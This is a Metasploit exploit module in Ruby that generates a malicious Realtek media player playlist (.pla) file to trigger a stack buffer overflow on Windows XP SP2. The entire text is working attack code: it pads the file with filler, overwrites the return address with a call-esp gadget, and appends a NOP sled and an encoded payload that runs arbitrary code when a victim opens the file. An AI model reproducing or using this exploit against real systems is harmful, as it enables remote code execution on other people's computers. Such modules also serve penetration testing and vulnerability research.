require 'msf/core' class Metasploit3 < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) super(update_info(info, 'Name' => 'Realtek Media Player Playlist Buffer Overflow.', 'Description' => %q{ This module exploits a buffer overflow in the Realtek Sound Manager application. This is a port of an exploit by shinnai. }, 'License' => MSF_LICENSE, 'Author' => 'SaintPatrick', 'Version' => '$Revision:$', 'References' => [ [ 'BID', '32860' ], ], 'DefaultOptions' => { 'EXITFUNC' => 'seh', }, 'Payload' => { 'Space' => 600, 'BadChars' => "\x00", 'StackAdjustment' => -3500, }, 'Platform' => 'win', 'Targets' => [ [ 'XP SP2 English', { 'Ret' => 0x7C82385D } ], #kerneldll - call esp ], 'Privileged' => false, 'DisclosureDate' => 'Dec 16 2008', 'DefaultTarget' => 0)) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'realtek.pla']), OptString.new('OUTPUTPATH', [ false, 'The location of the file.', './data/exploits/']), ], self.class) end def exploit pla = rand_text_alpha_upper(220) pla << [target.ret].pack('V') pla << make_nops(12) pla << payload.encoded print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(pla) end end